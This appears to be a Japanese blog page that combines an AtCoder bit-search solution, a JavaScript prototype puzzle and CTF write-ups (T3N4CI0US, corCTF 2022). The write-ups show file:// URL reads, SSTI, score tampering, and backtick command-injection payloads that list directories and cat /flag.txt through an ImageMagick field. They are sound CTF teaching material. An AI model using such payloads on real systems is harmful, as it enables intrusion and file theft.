はまやんはまやんはまやん

hamayanhamayan's blog

Matrix Reducing [freee プログラミングコンテスト2022(AtCoder Beginner Contest 264) C]

https://atcoder.jp/contests/abc264/tasks/abc264_c

前提知識

  • bit全探索

解法

パっと見た感じ難しい問題に見えると思う。
この問題で注目すべき部分は制約である。
盤面のサイズがとても小さく、最大でも10。
制約が小さいということは、少し無茶な解法でも通るのではという発想になる。
(あとC問題ということもちょっと考える)

全探索

解法の基本は全探索なので、全探索を考えてみよう。
例えば2番目の行と3番目の行と3番目の列を消そうと考えたときに、

2番目の行 -> 3番目の行 -> 3番目の列 という順番で消しても、
3番目の行 -> 2番目の行 -> 3番目の列 という順番で消しても、
3番目の列 -> 3番目の行 -> 2番目の行 という順番で消しても、
最終的な形としては全く同じになる。

つまり、問題文としては操作を繰り返すということになっているが、選択肢としては各行、各列について消すか消さないかということになる。
消すか消さないかの2択を行と列の最大20か所について確認するので全部で220通りあることになる。
これは1048576通りなので、だいたい106通りで間に合う個数といえる。
(106とか107くらいが間に合うかどうかの境目になってくる)

どうやって全探索するか

こういった、やる/やらないの全探索はbit全探索という方法で行うのがオススメ。
やり方は専門の記事を参照する方が双方効率がいいのでgoogleで「bit全探索」と検索して学ぶとよい。

ビット全探索で各行、各列について残す行と列を決めたら、それ以外は消してから行列Bと比較する必要がある。
この実装部分もちょっと苦戦するかもしれない。
自分はbit全探索部分含めて以下のように実装した。

    rep(usedRow, 0, 1 << H1) rep(usedColumn, 0, 1 << W1) {   // bit全探索部分(残す部分を1として全探索している)
        // 残す部分の長さが行列Bと一緒かどうかチェック
        int H3 = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) H3++;
        int W3 = 0;
        rep(x, 0, W1) if (usedColumn & (1 << x)) W3++;
        if (H3 != H2 || W3 != W2) continue;

        // 行列Aから行と列を消して行列Cを作るとする
        int cy = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) {
            int cx = 0;
            rep(x, 0, W1) if (usedColumn & (1 << x)) {
                C[cy][cx] = A[y][x];
                cx++; // ここが大事。Aの値を入れたときにcのx座標を一つ右にずらす
            }
            cy++; // ここも同様。行列Cの行が1行処理されたらy座標を1つ下にずらす
        }

        // 行列Cができたら縦横の長さ同じはずなので、適当にループで行列Bと等しいかチェック
        bool ok = true;
        rep(x, 0, W2) rep(y, 0, H2) if (B[y][x] != C[y][x]) ok = false;
        if (ok) return YES;
    }

インラインで解説を入れておいた。
行列Cを作る方法としては、行/列の削除関数を作って、1つずつ消していくやり方などがあると思う。
今回の解法はO(2H+W HW)なので、意外と計算量に余裕がないかもしれないけど。

今回はO(2H+W HW)で解いたが、本番はO(WH 2H)で解いたのでそちらも時間があれば見てみてほしい。
https://atcoder.jp/contests/abc264/submissions/33999413
行だけbit全探索で全探索して、列の方は貪欲法で解いている。

https://atcoder.jp/contests/abc264/submissions/34023787

int H1, W1;
int A[10][10];

int H2, W2;
int B[10][10];

int C[10][10];

#define YES "Yes"
#define NO "No"

string solve() {
    rep(usedRow, 0, 1 << H1) rep(usedColumn, 0, 1 << W1) {
        int H3 = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) H3++;
        int W3 = 0;
        rep(x, 0, W1) if (usedColumn & (1 << x)) W3++;

        if (H3 != H2 || W3 != W2) continue;

        int cy = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) {
            int cx = 0;
            rep(x, 0, W1) if (usedColumn & (1 << x)) {
                C[cy][cx] = A[y][x];
                cx++;
            }
            cy++;
        }

        bool ok = true;
        rep(x, 0, W2) rep(y, 0, H2) if (B[y][x] != C[y][x]) ok = false;
        if (ok) return YES;
    }

    return NO;
}

void _main() {
    cin >> H1 >> W1;
    rep(y, 0, H1) rep(x, 0, W1) cin >> A[y][x];
    cin >> H2 >> W2;
    rep(y, 0, H2) rep(x, 0, W2) cin >> B[y][x];

    cout << solve() << endl;
}

T3N4CI0US CTF - Escape Writeups

[web] cigarette

GET /をすると以下のような応答が帰ってきて、フラグが含まれている

HTTP/1.1 200 OK
Date: Wed, 10 Aug 2022 16:14:28 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Key: T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}
Content-Length: 44
Connection: close
Content-Type: text/html; charset=UTF-8

Flag is not here!
<!-- It's not here! :) -->

[web] Rosin

GET /index.php?url=???とリダイレクトされる。
色々やっていたらfile:///flag/flag.txtでフラグが出てきた。非想定解かも。

GET /index.php?url=file%3a%2f%2f%2fflag%2fflag.txtすると

T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}

[web] world

GET /で以下のように言われる。

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 22
Server: Werkzeug/1.0.1 Python/2.7.18
Date: Wed, 10 Aug 2022 12:22:00 GMT

Welcome To Find Secret

guessして、GET /secretとするとTell me your secret.I will encrypt it so others can't seeと言われる。
さらにguessしてGET /secret?secret=sssadfsadfでなんかエラーが出る。

if(secret==None):
    return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure")
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
    return 'flag detected!'
return a

かなりいい感じに色々出てきた。
HereIsTreasureを鍵にしてRC4で暗号化して、render_template_stringに投げている。
あとは、render_template_stringなのでRC4暗号化後にSSTIとして動くようにすればいい。

方針は間違ってないと思うがいまいち刺さらない。
RC4暗号化に失敗した場合に、暗号化部分のライブラリのソースコードも一部見ることができた。
/app/rc4_Modified.pyというファイル名みたいで全文が無いか検索してみると、
rc4加密&ssti注入&CISCN,Double Secret_牛客博客
まんまじゃないか?

答えのpayloadを試すとフラグが得られる。

[web] viska

サーバが落ちているのか一生つながらなかった…

javascriptパズル (corCTF 2022 friendsより)

CTFでjavascript何もわからなくなったのでパズルとして紹介しておきます。

const x = []
const y = x
['admin','admin','__proto__'] = ['admin','admin','__proto__']
const z = x
['1','2','3'] = ['1','2','3']
console.log(x.includes('admin')) // -> true

このようなコードを書くと最後の行の出力がtrueになるのはなんででしょうか?
(Node.js v16.15.1.で検証済み)  
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
解説はもうちょっと下へ  
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 

解説

解説していきます。
正直、動作ベースで理解している所があって、javascriptに詳しい人に是非直していただきたいです。

コードを再掲すると

const x = []
const y = x
['admin','admin','__proto__'] = ['admin','admin','__proto__']
const z = x
['1','2','3'] = ['1','2','3']
console.log(x.includes('admin')) // -> true

となりますが、このコード、セミコロンが無いんですよね。
無くても動いちゃうのか…
なので行が終わっているように見せかけて実は終わってないということが起きています。
具体的には

const x = [];
const y = x['admin','admin','__proto__'] = ['admin','admin','__proto__'];
const z = x['1','2','3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

こんな感じに解釈されます。
const yとconst zの部分の代入はしても使われないので、

const x = [];
x['admin','admin','__proto__'] = ['admin','admin','__proto__'];
x['1','2','3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

実質こんな感じになります。
ここで配列にtupleみたいな感じで添え字を指定していますが、最後のものしか使われません。
動作ベースでは最後のものだけでした。なんででしょうね。誰かNode.jsのソースコードベースで教えてほしい。
(追記:@arkark_さんに教えてもらえました!カンマ演算子によって添え字部分が評価された結果の戻り値が最後の部分となるからです。)
つまりこれは

const x = [];
x['__proto__'] = ['admin','admin','__proto__'];
x['3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

のような感じに解釈されます。
__proto__については図で理解するJavaScriptのプロトタイプチェーン - Qiitaを見てもらうのが一番分かりやすいと思います。
つまり、要素が無かった時に参照する先なのですが、それを上書きしています。
ちょっとわかりやすくするためにxをダンプしてみましょう。

const x = [];
x['__proto__'] = ['admin','admin','__proto__'];
console.log(x); // -> []
x['3'] = ['1','2','3'];
console.log(x); // -> [ <3 empty items>, [ '1', '2', '3' ] ]
console.log(x.includes('admin')); // -> true

[ <3 empty items>, [ '1', '2', '3' ] ]と出てきましたね。
つまり、[ undefined, undefined, undefined, [ '1', '2', '3' ] ]ということです。
これはx['3']への代入前にxを見てみると[]になることからわかります。
__proto__はいったんおいておいて、xは最初は空の状態なので、そこに3番目に要素を入れると、0,1,2が入っていない状態の配列が出来上がるという訳です。

さて、ここまでくればもうちょっとです。
x.includes('admin')を実行したときには、雰囲気で処理を考えると
x[0]はadminかな?x[1]はadminかな?x[2]はadminかな?というのを確認していくわけですが、 x[0]は参照してもundefinedとなってしまいます。
ですが、ここで__proto__を用意していたことが役立ちます。
要素が無かった時に参照する先なので、x[0]undefinedであれば、x['__proto__'][0]を参照しに行くことになります。
よって、x[0] = x['__proto__'][0] = 'admin'ということになり、結果としてtrueが返されます。

同様にx[1]x[2]__proto__が使われるのですが、そのあたりをわかりやすくしたソースコードが以下です。

const x = [];
x['__proto__'] = ['admin0','admin1','admin2'];
x['3'] = ['1','2','3'];
console.log(x); // -> [ <3 empty items>, [ '1', '2', '3' ] ]
console.log(x[0]); // -> admin0
console.log(x[1]); // -> admin1
console.log(x[2]); // -> admin2
console.log(x[3]); // -> [ '1', '2', '3' ]
console.log(x.includes('admin')); // -> true

emptyのはずなのに具体的に取得すると値が出てくるんですね。恐ろしい。
よって、いろんなことが起こって最終的にadminが含まれていることになってしまう訳です。

終わりに

ほんとに動作ベースでブラックボックス的に理解しただけなので、間違ってたら指摘してもらえると自分が助かります。
良いお盆休みを。

corCTF 2022 writeups

[forensic] whack a frog

ぱらぱら見ていくと GET /anticheat?x=18&y=11&event=mousemove というのが連なっている。
適当にダンプしてきて、GETリクエストの内容を見てみる。

GET /anticheat?x=365&y=10&event=mousemove
GET /anticheat?x=295&y=20&event=mousemove
GET /anticheat?x=204&y=31&event=mousemove
GET /anticheat?x=105&y=39&event=mousemove
GET /anticheat?x=82&y=39&event=mousemove
GET /anticheat?x=65&y=37&event=mousemove
GET /anticheat?x=54&y=34&event=mousemove
GET /anticheat?x=50&y=34&event=mousemove
...

座標に色を付けてみよう。

from PIL import Image, ImageDraw

img = Image.new("RGB", (600, 600), (0, 0, 0))

xs = [365,295,204,105,82,65,54,50,39,37,34,33,31,30,26,24,20,19,17,16,16,17,17,18,18,18,18,18,17,17,17,16,16,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,16,18,20,21,24,27,30,33,38,42,45,46,47,48,49,50,51,52,54,55,56,57,57,57,57,58,58,59,59,60,60,61,61,62,62,63,64,65,66,69,70,73,76,78,79,80,83,85,86,87,87,88,89,90,92,93,93,95,95,96,97,98,99,99,98,97,97,96,95,94,94,95,95,96,96,97,97,98,98,98,99,100,101,102,102,104,105,106,108,109,114,118,119,120,121,122,124,125,126,127,128,129,130,131,133,134,135,137,137,137,136,134,133,124,121,118,117,115,114,113,113,114,115,115,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,117,117,117,117,117,117,117,117,116,115,114,113,112,111,110,109,108,107,106,105,105,104,104,103,103,103,102,102,103,104,105,107,108,109,110,111,115,116,117,118,119,120,121,121,122,123,124,126,127,130,132,136,137,138,139,139,140,141,142,143,144,145,145,146,147,148,149,150,152,157,162,164,169,172,177,181,182,183,184,184,183,181,179,179,178,178,178,178,178,178,178,178,179,179,179,179,179,179,179,179,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,179,180,182,183,185,185,186,187,187,188,189,190,194,197,201,202,203,204,205,206,207,208,210,211,214,216,217,217,218,219,220,221,222,223,223,224,225,225,226,227,227,228,228,229,230,232,234,236,236,238,239,239,240,240,241,241,241,241,241,241,242,242,242,242,242,242,242,243,243,243,243,243,242,242,241,241,241,240,240,239,239,238,238,238,238,237,237,237,237,237,237,237,237,237,237,236,236,236,236,236,236,235,235,235,235,235,235,235,238,238,239,239,240,240,241,241,245,247,250,251,252,252,253,253,254,255,256,257,257,257,257,257,257,257,256,256,256,256,255,257,257,258,260,262,264,267,268,269,270,270,271,273,274,275,276,276,277,278,278,279,279,279,279,280,280,280,280,280,280,280,279,279,279,278,278,278,277,277,276,274,271,267,264,262,259,258,257,256,255,254,254,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,256,257,258,259,261,264,266,270,273,276,278,279,281,283,285,287,288,289,290,291,293,294,296,297,298,299,301,304,306,309,311,313,315,316,318,319,322,324,325,326,326,326,326,326,324,323,322,322,321,320,320,320,319,319,319,318,317,317,316,316,316,316,316,316,316,316,316,316,316,317,318,319,320,322,323,324,329,330,334,335,336,336,336,336,336,336,336,336,336,336,336,336,337,338,338,339,342,346,348,349,351,352,353,354,354,355,355,355,355,355,355,355,353,353,353,353,353,353,354,355,355,356,357,358,359,359,359,359,360,360,360,360,360,360,360,360,360,360,360,359,359,359,361,361,361,361,360,359,359,359,359,359,358,358,357,356,355,354,353,351,349,347,345,343,337,335,334,330,330,328,327,327,327,326,326,325,325,324,324,324,323,323,322,321,321,320,320,319,319,321,322,322,323,324,325,326,328,329,330,331,332,332,334,337,341,363,373,382,388,389,394,395,395,395,393,392,391,390,389,387,385,384,383,383,383,384,384,385,386,388,388,390,390,391,392,393,395,395,396,396,396,397,397,397,397,396,396,396,396,396,397,397,398,399,401,402,405,406,409,412,415,417,419,420,421,422,423,424,426,428,429,430,431,432,436,437,438,439,440,440,440,440,440,440,440,439,439,439,439,439,439,439,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,439,439,438,437,436,435,433,432,431,430,429,428,427,425,424,423,422,421,419,418,417,416,415,414,412,410,409,408,407,407,406,404,403,402,399,398,397,395,394,394,394,394,395,395,395,396,397,397,397,397,397,397,398,398,398,399,400,401,403,405,407,409,412,419,425,431,436,442,444,446,449,451,452,454,457,460,466,469,471,474,475,476,478,479,479,479,479,479,479,479,479,478,478,478,477,477,476,476,476,476,476,477,477,477,478,478,480,480,480,481,483,484,486,489,492,492,494,495,496,496,496,496,496,496,496,496,497,497,497,497,496,496,496,495,495,495,495,495,495,495,496,496,496,496,498,499,500,501,502,503,504,505,506,507,507,508,509,510,511,512,513,514,515,516,516,516,516,516,515,515,515,515,515,514,514,514,514,514,514,513,513,513,513,513,512,512,512,511,511,511,511,511,511,512,513,514,515,516,517,518,518,518,518,518,517,516,516,516,516,516,516,516,516,516,516,516,517,517,517,517,517,517,517,517,515,514,512,511,509,508,506,504,502,497,489,484,480,478,477,476,475,474,473,472,471,470,471,472,473,474,475,476,477,477,477,477,477,477,476,476,476,476,474,472,470,467,451,445,440,432,428,416,406,384,381,367,360,335,326,295,268,252,196,167,157,128,107,104,103,101,98,94,90,82,72,69,64,59,57,50,48,42,40,39,37,36,35,33,29,26,20,12,8,10,11,12,13,13,14,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,20,20,20,20,20,19,19,19,18,18,18,18,18,18,18,18,18,17,17,18,19,20,21,22,23,24,25,26,27,28,29,31,32,33,35,36,37,38,39,40,41,42,43,44,53,58,60,61,63,62,64,68,72,74,81,85,87,88,88,89,90,91,92,93,95,96,97,98,99,101,102,103,104,105,107,107,108,108,108,108,107,107,105,105,105,105,105,105,105,104,103,103,101,100,99,98,97,97,99,100,102,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,135,138,138,138,136,132,131,130,129,127,126,124,123,122,121,121,120,120,119,118,118,118,117,117,115,115,114,114,114,114,114,114,114,113,113,113,113,113,113,113,113,113,113,113,113,113,114,114,115,115,115,116,116,116,117,118,119,120,121,123,124,125,126,127,128,129,130,131,128,127,126,124,123,122,121,120,120,119,118,117,116,115,114,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,99,98,97,100,101,102,103,116,117,119,120,122,124,127,128,129,130,131,132,133,134,134,135,136,137,138,140,143,154,157,165,170,175,180,183,184,184,184,184,183,182,181,180,180,180,180,180,180,179,179,177,177,177,177,177,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,180,180,180,180,180,180,180,180,180,179,179,179,179,179,179,179,179,179,179,179,178,177,177,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,196,198,199,201,202,204,207,208,210,213,214,215,216,217,217,218,218,218,219,220,220,222,224,225,227,230,233,238,240,242,243,244,244,244,244,244,243,243,242,238,239,240,240,241,241,242,244,244,245,245,246,246,247,248,249,250,253,253,254,254,255,255,258,259,260,261,262,262,263,264,264,265,266,267,267,271,272,273,274,274,275,275,276,275,273,272,272,271,271,271,270,270,269,268,268,267,267,266,266,265,264,264,263,262,262,262,262,262,262,262,262,261,261,261,261,261,261,261,261,261,261,261,261,261,260,260,260,260,260,260,260,259,259,259,261,262,263,264,265,267,268,270,273,275,284,287,293,303,306,307,308,308,309,311,312,313,314,315,316,317,319,320,320,321,319,319,319,319,320,321,321,322,325,325,326,326,327,328,329,329,331,332,334,337,338,338,339,340,341,342,343,343,344,345,346,347,347,348,348,349,349,350,350,351,352,352,353,354,356,357,357,358,358,359,359,359,358,357,357,356,355,354,352,351,350,349,348,347,346,345,343,342,342,341,341,341,341,340,339,337,335,334,333,332,332,331,331,330,330,329,329,328,327,326,325,325,324,324,323,323,321,320,319,318,318,317,317,319,319,320,320,321,322,323,324,327,329,333,335,336,337,338,339,342,343,344,345,346,346,347,348,349,351,352,352,353,354,355,356,356,357,358,358,359,359,360,360,361,362,363,364,365,365,366,367,369,370,371,371,372,373,374,375,376,377,378,379,380,381,382,383,384,384,385,386,387,388,389,390,392,393,394,395,396,398,399,400,401,402,404,406,407,411,413,414,418,420,421,422,423,424,425,427,428,429,429,430,431,432,433,434,435,436,436,437,437,438,438,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,438,438,438,438,438,438,438,438,438,438,438,438,437,436,435,433,431,430,429,428,427,426,424,420,418,417,413,401,400,399,399,398,398,398,397,397,397,397,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,399,400,403,405,406,408,411,413,465,465,466,467,468,468,469,469,470,470,471,472,474,476,483,485,487,485,484,482,481,480,478,478,481,482,483,484,485,485,487,489,491,493,493,497,498,499,500,502,504,505,507,509,510,512,513,514,514,515,516,517,517,517,518,518,518,519,519,519,520,518,517,516,515,514,513,511,510,510,509,508,507,506,506,505,504,504,503,502,501,499,498,497,496,496,495,495,494,494,494,494,495,497,500,501,503,505,507,508,509,511,512,513,515,518,518,518,518,518,514,513,510,510,509,509,508,507,507,506,506,506,505,504,504,503,502,502,501,500,500,499,498,494,494,493,492,491,490,490,489,487,487,486,485,485,484,483,482,481,480,480,479,479,478,478,477,477,476,476,475,475,475,474,473,473,471,469,467,445,434,413,393]
ys = [10,20,31,39,39,37,34,34,30,29,26,25,22,21,20,19,18,16,15,14,13,13,12,12,11,10,9,8,8,9,10,12,16,17,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,41,42,45,47,48,49,50,51,53,54,56,57,58,59,60,61,62,64,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,64,63,63,62,61,60,60,59,58,57,56,55,54,52,51,49,45,44,40,37,35,34,33,29,28,26,25,23,21,20,18,17,16,15,14,13,11,10,9,9,8,8,8,9,9,9,9,10,10,9,12,15,16,18,18,20,21,21,21,21,21,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,19,19,19,19,19,23,25,27,28,30,32,32,33,33,32,31,30,29,28,28,31,32,33,34,35,36,37,39,41,42,44,45,46,47,47,48,49,50,51,52,53,54,54,55,55,55,55,55,55,55,55,55,56,56,57,57,58,59,60,61,62,63,63,63,63,63,63,63,63,63,62,62,62,62,62,62,62,63,63,63,63,63,63,64,64,64,64,65,65,65,65,65,64,64,63,63,62,62,61,60,60,59,58,55,53,52,49,48,43,39,38,35,33,31,30,28,26,25,23,21,20,19,17,15,14,13,12,11,10,9,9,13,14,15,16,18,22,24,25,26,27,28,29,30,31,32,33,34,35,39,40,42,45,46,48,50,51,52,54,55,56,57,58,59,59,59,59,59,59,60,60,60,61,61,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,61,60,60,59,59,58,58,58,57,57,57,56,56,55,54,54,52,51,50,49,47,46,45,44,43,43,42,41,40,39,38,37,36,35,33,32,31,30,29,28,27,26,25,24,23,22,21,20,20,19,19,18,18,17,16,15,15,14,14,16,17,18,19,20,21,19,18,17,16,15,14,13,12,11,10,9,9,13,14,19,20,21,22,23,24,25,26,30,31,33,34,35,34,34,33,33,32,32,32,32,33,34,35,36,37,37,38,39,40,41,39,39,38,35,34,32,30,29,28,27,26,24,23,22,21,21,20,19,18,17,16,15,14,13,13,12,11,11,14,15,16,17,18,19,19,20,20,20,21,23,25,27,32,35,38,41,43,44,46,47,48,49,49,49,50,51,52,53,54,55,56,57,58,59,60,61,62,62,62,62,61,60,59,58,57,56,55,54,54,53,52,52,51,50,50,50,50,49,48,48,47,46,46,45,44,44,43,41,40,39,38,37,36,35,34,32,30,29,28,27,26,25,23,21,21,20,19,19,18,17,17,16,15,14,13,12,12,11,10,10,13,14,15,16,18,19,19,20,21,22,23,24,26,27,32,34,37,39,39,40,38,37,36,35,34,33,33,41,42,43,44,45,45,46,47,50,52,53,55,56,58,59,60,60,59,58,57,56,55,55,61,62,63,63,60,54,51,48,45,42,40,35,33,30,28,26,24,23,22,20,19,17,16,15,13,12,11,10,9,8,9,10,11,12,14,16,17,18,19,19,19,20,21,23,23,24,26,27,29,31,32,34,39,41,42,46,45,48,49,50,51,52,53,54,54,54,55,56,56,57,58,59,60,61,62,62,62,61,61,60,60,59,59,58,57,57,56,55,54,53,52,50,49,46,44,39,35,33,31,30,29,28,26,26,26,26,26,26,26,26,26,25,24,24,23,23,22,22,21,21,20,20,19,18,18,17,17,16,15,15,14,13,12,12,11,10,9,9,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,36,37,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,58,59,59,59,60,60,61,61,61,61,61,61,62,62,62,63,63,63,63,63,63,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,65,65,64,63,62,62,61,60,58,56,53,52,51,50,49,48,47,47,47,46,45,45,44,43,43,41,39,38,38,37,36,36,36,35,35,34,34,33,33,32,30,30,28,27,26,24,23,22,21,20,19,18,17,16,16,15,14,13,12,12,11,11,13,14,15,16,17,18,19,22,23,23,24,26,27,29,31,33,34,34,35,35,35,36,37,38,39,40,42,42,43,44,45,43,41,41,39,38,37,36,34,33,33,33,34,44,44,45,46,46,47,48,48,49,50,51,52,53,53,54,55,55,56,56,57,57,57,58,56,55,54,54,54,55,56,58,60,61,62,63,64,65,65,64,63,63,62,61,58,57,54,52,51,49,46,44,41,39,35,34,31,30,28,26,23,22,21,20,20,19,18,17,16,15,14,13,12,11,11,12,13,15,16,17,18,18,19,21,22,22,23,24,26,27,28,30,33,38,41,45,46,47,49,51,52,53,55,56,58,58,58,58,58,58,58,58,57,56,56,59,60,60,61,62,62,62,62,61,60,58,58,58,58,58,58,57,56,55,53,52,48,46,42,40,39,36,34,33,32,31,32,32,32,31,29,27,26,25,25,24,23,23,21,21,19,19,19,18,18,18,18,16,15,13,11,14,14,14,14,14,13,13,13,12,14,16,17,18,19,21,22,23,24,25,26,27,28,31,32,33,34,34,35,36,37,37,38,39,40,41,42,43,44,45,45,46,47,48,49,50,51,52,53,54,55,56,59,61,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,64,64,64,64,64,64,64,64,65,65,64,63,63,62,62,62,62,61,61,60,60,59,59,58,58,58,58,58,58,57,57,57,56,56,56,55,55,54,53,51,50,49,48,47,45,44,42,34,33,31,28,24,23,21,21,19,18,18,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,20,20,21,21,21,21,22,22,22,22,23,23,22,22,21,20,21,22,23,25,26,34,36,37,38,39,40,41,42,43,43,44,45,46,47,48,49,50,51,52,53,54,56,57,58,59,60,61,63,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,66,66,66,66,66,66,66,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,67,67,66,66,64,63,58,56,53,51,48,44,40,37,35,34,32,29,27,27,27,26,25,24,23,22,21,20,17,16,16,18,19,27,28,29,30,31,32,33,35,36,37,38,39,40,41,42,43,44,45,45,46,47,48,49,50,51,52,53,53,54,55,56,57,58,60,61,62,63,63,63,63,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,65,65,64,63,62,62,61,58,56,55,53,51,47,44,42,40,37,35,34,32,31,29,24,22,22,18,20,21,22,23,24,25,27,28,28,29,30,31,32,32,33,34,35,36,36,37,37,38,39,38,38,37,36,36,35,34,33,32,32,31,29,26,25,25,24,23,23,22,22,24,27,28,29,29,30,31,31,32,33,34,35,35,36,36,37,38,38,39,39,39,40,41,42,43,44,45,46,46,47,48,49,50,51,52,53,54,55,56,57,58,58,59,60,61,62,63,64,64,64,63,60,58,57,56,55,54,53,51,49,47,42,41,38,34,33,32,31,30,30,28,27,26,25,24,23,23,21,21,20,20,18,17,19,20,22,23,24,25,28,29,30,31,31,33,34,35,36,37,39,41,41,42,43,43,44,45,45,46,46,47,48,48,49,49,50,50,51,51,52,53,54,55,55,56,58,58,59,60,61,62,63,64,63,63,62,62,61,61,59,59,58,57,57,56,55,54,52,51,50,48,47,46,45,44,42,42,44,45,45,46,47,47,48,48,49,49,50,50,52,54,55,56,57,58,58,59,62,63,64,65,66,66,67,66,65,65,64,63,62,61,60,58,56,53,51,50,49,48,47,43,42,41,40,39,38,36,36,35,33,32,31,30,30,29,28,27,25,24,23,21,20,18,17,17,17,17,17,17,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,18,18,18,18,17,17,17,16,16,16,17,18,18,18,18,18,18,18,17,17,17,17,17,16,16,16,15,15,15,15,15,15,14,14,14,14,14,14,14,15,16,17,19,21,22,23,24,32,33,34,36,37,38,39,41,42,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,60,61,62,63,63,63,63,63,63,63,63,63,63,63,63,64,64,64,64,65,65,64,63,62,61,60,60,59,58,57,55,54,53,52,50,49,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,23,22,20,19,18,16,14,12,10,9,9,11,12,14,15,16,16,17,17,18,18,19,19,20,22,22,23,23,22,22,22,21,20,20,23,24,25,26,26,27,29,30,32,34,35,39,40,41,42,43,45,45,46,47,49,49,50,50,51,52,53,55,56,57,57,58,59,59,60,61,61,61,60,60,59,58,58,57,57,56,56,56,55,55,54,53,53,52,52,51,49,47,47,46,46,45,45,44,44,43,43,42,41,40,38,37,35,31,29,29,27,26,25,24,22,19,18,17,16,16,23,23,26,27,28,29,30,30,31,31,32,33,34,34,35,36,37,38,39,39,40,40,41,45,46,47,48,49,50,51,52,53,54,55,55,56,57,58,59,60,60,61,61,62,63,64,64,65,65,66,66,67,67,67,66,65,64,63,61,44,37,23,12]

draw = ImageDraw.Draw(img)

for x, y in zip(xs, ys):
    draw.point(((x, y)), fill=(255, 255, 0))

img.save("out.png", quality=95)

文字が浮かび上がってくるので、フォーマットを合わせて、フラグとする。

corctf{LILYXOX}

[web] jsonquiz

jsonの問題サイトが表示される。
真面目にやると大変そう。

プロキシログを見ていくと/assets/js/quiz.jsというのがある。
ここに

fetch("/submit", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "score=" + score
}

というのがあり、/submitへ結果をPOSTするっぽい。

POST /submitでとりあえずscore=100のように送って100点を出してみるとフラグが得られた。

corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

[web] msfrog generator

あまり、攻撃できそうなポイントがない。
GET /のレスポンスを見ると<!-- NOTE: There is no (intended) vuln in the frontend, please don't waste your time digging into the JS ;) -->とあるので、おとなしくPOST /api/generateを見ていくことにする。

こんな感じで座標を文字列にしてエラーを出してみる。
[{"type":"msnose.png","pos":{"x":"bad","y":0}}]

Something went wrong :
b"convert-im6.q16: invalid argument for option `-geometry': +bad+0 @ error/convert.c/ConvertImageCommand/1672.\n"

ググってみるとimagemagickですね。
コマンドインジェクションかな?

[{"type":"msnose.png","pos":{"x":"`sleep 10`","y":0}}]

のようにすると10秒のwaitがかかったので動いていそう。
HTTPリクエスト経由で結果を得たいが、うまく刺さらないのでインターネットにはつながっていないのかも。

よくよく見るとエラーメッセージに入力が入ってきているのでこれを使えば情報が抜き出せそう。

"x"部分を

"x":"`ls -la | base64`"

のようにすればbase64エンコードされた結果が抜き出せたが、出力文字数には制限があるみたい。
でもフラグを得るには十分だった。

"x":"`ls / | base64`"

で/flag.txtがあるのがわかる。

"x":"`cat /flag.txt | base64`"

でフラグ獲得。

corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}

Arab Security Cyber Wargames Championship 2022 Qual Writeups

CTFtime.org / Arab Security Cyber Wargames 2022 Qualifications

